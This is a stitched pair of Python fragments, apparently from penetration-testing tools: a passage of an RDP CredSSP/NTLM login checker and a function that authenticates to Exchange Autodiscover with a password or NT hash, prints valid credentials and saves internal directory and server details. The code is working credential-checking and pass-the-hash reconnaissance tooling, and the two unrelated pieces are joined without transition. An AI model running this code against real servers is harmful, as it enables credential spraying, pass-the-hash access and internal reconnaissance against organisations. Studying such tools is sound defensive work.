anonymous). Also, the CredSSP Protocol does not require # the client to have a commonly trusted certification authority root with the # CredSSP server. Thus, the CredSSP server MAY use, for example, # a self-signed X.509 certificate. # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_cipher_list('RC4') tls = SSL.Connection(ctx,s) tls.set_connect_state() tls.do_handshake() # If you want to use Python internal ssl, uncomment this and comment # the previous lines #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4') # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client # and server completes mutual authentication and establishes an encryption key # that is used by the SPNEGO confidentiality services, as specified in [RFC4178]. # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to # the calling application (the CredSSP client and CredSSP server). # The wire protocol for SPNEGO is specified in [MS-SPNG]. # The SPNEGO tokens exchanged between the client and the server are encapsulated # in the negoTokens field of the TSRequest structure. Both the client and the # server use this structure as many times as necessary to complete the SPNEGO # exchange.<9> # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth # field is omitted by the client unless the client is sending the last SPNEGO token. # If the client is sending the last SPNEGO token, the TSRequest structure MUST have # both the negoToken and the pubKeyAuth fields filled in. # NTLMSSP stuff auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True) ts_request = TSRequest() ts_request['NegoData'] = str(auth) tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) # 3. The client encrypts the public key it received from the server (contained # in the X.509 certificate) in the TLS handshake from step 1, by using the # confidentiality support of SPNEGO. The public key that is encrypted is the # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 # certificate, as specified in [RFC3280] section 4.1. The encrypted key is # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over # the TLS channel to the server. # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure; the client MUST send its last SPNEGO token to the # server in the negoTokens field (see step 2) along with the encrypted public key # in the pubKeyAuth field. # Last SPNEGO token calculation ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True) # Get server public key server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) # Fix up due to PyOpenSSL lack for exporting public keys dump = dump[7:] dump = '\x30'+ asn1encode(dump) cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.encrypt(dump) ts_request['NegoData'] = str(type3) ts_request['pubKeyAuth'] = str(signature) + cripted_key try: # Sending the Type 3 NTLM blob tls.send(ts_request.getData()) # The other end is waiting for the pubKeyAuth field, but looks like it's # not needed to check whether authentication worked. # If auth is unsuccessful, it throws an exception with the previous send(). # If auth is successful, the server waits for the pubKeyAuth and doesn't answer # anything. So, I'm sending garbage so the server returns an error. # Luckily, it's a different error so we can determine whether or not auth worked ;) buff = tls.recv(1024) except Exception, err: if str(err).find("denied") > 0: print "[*] Access Denied" else: logging.error(err) return
def getUsersetting(host, port, mode, email, data): autodiscover_url = "/autodiscover/autodiscover.svc" tmp = email.split('@') user = tmp[0] POST_BODY = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <a:RequestedServerVersion>Exchange2013_SP1</a:RequestedServerVersion> <wsa:Action>http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings</wsa:Action> <wsa:To>https://{domain}/autodiscover/autodiscover.svc</wsa:To> </soap:Header> <soap:Body> <a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover"> <a:Request> <a:Users> <a:User> <a:Mailbox>{mail}</a:Mailbox> </a:User> </a:Users> <a:RequestedSettings> <a:Setting>UserDisplayName</a:Setting> <a:Setting>UserDN</a:Setting> <a:Setting>UserDeploymentId</a:Setting> <a:Setting>InternalMailboxServer</a:Setting> <a:Setting>MailboxDN</a:Setting> <a:Setting>PublicFolderServer</a:Setting> <a:Setting>ActiveDirectoryServer</a:Setting> <a:Setting>ExternalMailboxServer</a:Setting> <a:Setting>EcpDeliveryReportUrlFragment</a:Setting> <a:Setting>EcpPublishingUrlFragment</a:Setting> <a:Setting>EcpTextMessagingUrlFragment</a:Setting> <a:Setting>ExternalEwsUrl</a:Setting> <a:Setting>CasVersion</a:Setting> <a:Setting>EwsSupportedSchemas</a:Setting> <a:Setting>GroupingInformation</a:Setting> </a:RequestedSettings> </a:Request> </a:GetUserSettingsRequestMessage> </soap:Body> </soap:Envelope> ''' DomainName = input("Input the domain name of the exchange server(not ip):") POST_BODY = POST_BODY.format(domain=DomainName, mail=email) if port == 443: try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) session = HTTPSConnection(host, port, context=uv_context) except AttributeError: session = HTTPSConnection(host, port) else: session = HTTPConnection(host, port) # Use impacket for NTLM ntlm_nego = ntlm.getNTLMSSPType1(host) #Negotiate auth negotiate = base64.b64encode(ntlm_nego.getData()) # Headers headers = { "Authorization": 'NTLM %s' % negotiate.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request("POST", autodiscover_url, POST_BODY, headers) res = session.getresponse() res.read() if res.status != 401: print( 'Status code returned: %d. Authentication does not seem required for URL' % (res.status)) return False try: if 'NTLM' not in res.getheader('WWW-Authenticate'): print('NTLM Auth not offered by URL, offered protocols: %s' % (res.getheader('WWW-Authenticate'))) return False except (KeyError, TypeError): print('No authentication requested by the server for url %s' % (autodiscover_url)) return False print('[*] Got 401, performing NTLM authentication') # Get negotiate data try: ntlm_challenge_b64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) ntlm_challenge = base64.b64decode(ntlm_challenge_b64) except (IndexError, KeyError, AttributeError): print('No NTLM challenge returned from server') return False if mode == 'plaintext': password1 = data nt_hash = '' elif mode == 'ntlmhash': password1 = '' nt_hash = binascii.unhexlify(data) else: print('[!] Wrong parameter') return False lm_hash = '' ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user, password1, host, lm_hash, nt_hash) auth = base64.b64encode(ntlm_auth.getData()) headers = { "Authorization": 'NTLM %s' % auth.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request("POST", autodiscover_url, POST_BODY, headers) res = session.getresponse() body = res.read() filename = "getUsersetting.xml" if res.status == 401: print('[!] Server returned HTTP status 401 - authentication failed') return False else: print('[+] Valid:%s %s' % (user, data)) #print(body) print('[+] Save response file to %s' % (filename)) with open(filename, 'w+', encoding='utf-8') as file_object: file_object.write(bytes.decode(body)) return True